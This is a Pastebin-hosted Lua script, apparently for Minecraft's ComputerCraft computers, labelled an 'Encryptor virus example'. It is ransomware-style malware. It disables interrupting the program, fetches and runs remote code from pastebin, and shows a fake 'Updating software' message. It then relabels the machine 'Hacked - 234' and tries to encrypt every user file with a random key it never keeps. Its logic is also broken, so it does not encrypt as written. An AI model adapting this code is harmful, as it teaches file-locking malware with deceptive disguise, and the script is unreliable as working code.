Advertisement
Guest User

vir-8.lua

a guest
Apr 24th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.30 KB | None | 0 0
  1. -- locking
  2.  
  3. OldPull = os.pullEvent
  4.  
  5. os.pullEvent = os.PullEventRaw
  6.  
  7.  
  8.  
  9. -- Encryptor virus example
  10.  
  11.  
  12.  
  13. -- setting up to ensure correct encryption
  14.  
  15. if fs.exists("./aeslua") then fs.delete("./aeslua") end
  16.  
  17. if fs.exists("./logsalt") then fs.delete("./logsalt") end
  18.  
  19. shell.run("pastebin get 9YW1XWXN logsalt")
  20.  
  21. shell.run("pastebin run LYAxmSby get 86925e07cbabd70773e53d781bd8b2fe/aeslua.min.lua aeslua") -- squids code
  22.  
  23. print("Updating software, please wait")
  24.  
  25.  
  26.  
  27. os.loadAPI("aeslua")
  28.  
  29. os.loadAPI("logsalt")
  30.  
  31. local dec = logsalt.rand(10)
  32.  
  33.  
  34.  
  35. -- Credit to Xelostar for the first 2 functions
  36.  
  37. local function getSubPaths(path)
  38.  
  39.     local list = fs.list(path)
  40.  
  41.     local paths = {}
  42.  
  43.  
  44.  
  45.     for _, name in pairs(list) do
  46.  
  47.         local newPath = fs.combine(path, name)
  48.  
  49.         if (fs.isDir(newPath)) then
  50.  
  51.             local subPaths = getSubPaths(newPath)
  52.  
  53.             for i = 1, #subPaths do
  54.  
  55.                 paths[#paths+1] = subPaths[i]
  56.  
  57.             end
  58.  
  59.         else
  60.  
  61.             paths[#paths+1] = newPath
  62.  
  63.         end
  64.  
  65.     end
  66.  
  67.  
  68.  
  69.     return paths
  70.  
  71. end
  72.  
  73.  
  74.  
  75. local function getPaths(path, readROM)
  76.  
  77.     if (path == "" or path == "/") then
  78.  
  79.         if (readROM) then
  80.  
  81.             return getSubPaths(path)
  82.  
  83.         else
  84.  
  85.             local list = fs.list("/")
  86.  
  87.             local paths = {}
  88.  
  89.             for _, path in pairs(list) do
  90.  
  91.                 if (path ~= "rom") then
  92.  
  93.                     if (fs.isDir(path)) then
  94.  
  95.                         local subPaths = getSubPaths(path)
  96.  
  97.                         for i = 1, #subPaths do
  98.  
  99.                             paths[#paths+1] = subPaths[i]
  100.  
  101.                         end
  102.  
  103.                     else
  104.  
  105.                         paths[#paths+1] = path
  106.  
  107.                     end
  108.  
  109.                 end
  110.  
  111.             end
  112.  
  113.             return paths
  114.  
  115.         end
  116.  
  117.     else
  118.  
  119.         return getSubPaths(path)
  120.  
  121.     end
  122.  
  123. end
  124.  
  125.  
  126.  
  127.  
  128.  
  129. local files = getPaths("/", false)
  130.  
  131. os.setComputerLabel("Hacked - 234")
  132.  
  133. fs.delete("virus")
  134.  
  135. fs.makeDir("virus")
  136.  
  137. fs.move("vir-8", "virus/vir")
  138.  
  139. for _,v in pairs(files) do
  140.  
  141.     if not v == "virus/vir-8" then
  142.  
  143.     local hBf = fs.open(v, "r")
  144.  
  145.     local stuff = hBf.readAll()
  146.  
  147.     local encrypted = aeslua.encrypt(stuff, dec)
  148.  
  149.     hBf.close()
  150.  
  151.     hAf = fs.open(v, "w")
  152.  
  153.     hAf.write(stuff)
  154.  
  155.     hAf.close()
  156.  
  157. end
  158.  
  159. end
  160.  
  161.  
  162.  
  163. term.clear()
  164.  
  165. term.setCursorPos(1,1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement